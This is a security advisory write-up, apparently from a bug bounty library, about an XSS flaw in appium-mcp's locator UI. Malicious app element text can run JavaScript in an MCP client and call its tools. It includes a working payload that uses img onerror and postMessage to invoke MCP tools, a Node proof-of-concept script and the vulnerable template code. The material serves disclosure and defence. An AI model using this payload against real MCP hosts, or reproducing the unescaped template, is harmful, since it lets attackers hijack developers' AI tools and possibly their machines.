# appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)

appium-mcp's createLocatorGeneratorUI interpolates attacker-controlled app element attributes into HTML unescaped, letting a malicious app's UI run JS in the MCP client and invoke arbitrary MCP tools.

- Payout: Research
- Severity: high
- Program: appium-mcp
- Found by: EQSTLab
- Disclosed: 2026-06-19
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x975-rgx4-5fh4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x975-rgx4-5fh4
- Tags: area:ai domain:ai domain:mobile impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:xss

**Target:** MCP-UI HTML resource generated by generate_locators tool
**Root cause:** createLocatorGeneratorUI interpolates element.text, contentDesc, resourceId, selector and strategy directly into an HTML template literal without HTML escaping, and embeds selector/strategy in an onclick JS string with only a backtick escape. XML entities decoded by the parser are never re-encoded.
**Steps:**
1. Feed page source XML with attribute `text="<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')">"`
2. Call `generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true })`
3. Pass result to `createLocatorGeneratorUI(locators)`
4. Observe raw `<img src=x onerror=` present in returned HTML
5. Victim MCP client renders resource; onerror fires and postMessage invokes arbitrary MCP tool
**How found:** Code review of the MCP-UI generation pipeline; noticed createPageSourceInspectorUI applies escaping while createLocatorGeneratorUI does not, then traced the data flow from XML attribute parsing (entity decoding) to the HTML sink.
**Exploitation:** Attacker publishes an app whose UI element text/content-desc/resource-id contain an XSS payload. Victim developer connects Appium MCP to the app and calls generate_locators; the MCP client renders the HTML resource in a WebView/iframe, the onerror handler fires and posts a crafted tool message to the parent frame, invoking tools like appium_screenshot, execute_script or get_page_source without confirmation.
**Escalation:** If the MCP host exposes file-system or shell tools, injected JS can escalate to arbitrary code execution on the developer's machine; CI pipelines calling generate_locators against third-party builds are equally exploitable.
**Insight:** When an MCP/UI tool renders data derived from an untrusted target (app UI, page source), compare sibling render functions for escaping gaps; XML entity decoding turns < into raw < at the sink, and postMessage-based tool bridges turn any XSS into arbitrary tool invocation.

## Proof of concept (copied exactly from the original report)

**Static PoC injecting XSS via XML attributes**

```
node --input-type=module <<'EOF'
import { generateAllElementLocators } from './dist/locators/generate-all-locators.js';
import { createLocatorGeneratorUI }   from './dist/ui/mcp-ui-utils.js';

const xml = `<hierarchy>
  <node class="android.widget.TextView"
        clickable="true"
        enabled="true"
        displayed="true"
        text="&lt;img src=x onerror=&quot;window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')&quot;&gt;"
        content-desc="&lt;b&gt;xss-in-contentDesc&lt;/b&gt;"
        resource-id="com.attacker.app/&lt;u&gt;xss-resource-id&lt;/u&gt;"/>
</hierarchy>`;

const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true });
const html     = createLocatorGeneratorUI(locators);

console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror='));
console.log('UNESCAPED <b> in contentDesc present:  ', html.includes('<b>xss-in-contentDesc</b>'));
console.log('UNESCAPED <u> in resourceId present:   ', html.includes('<u>xss-resource-id</u>'));
EOF
```

**Docker build/run commands for dynamic PoC**

```
docker build -t appium-mcp-vuln-001 \
  -f vuln-001/Dockerfile \
  reports/npmAI_303_appium__appium-mcp

docker run --rm --network none appium-mcp-vuln-001
```

**Vulnerable HTML template sink**

```
${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''}
${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''}
${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''}
<code class="selector">${selector}</code>
<button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button>
```

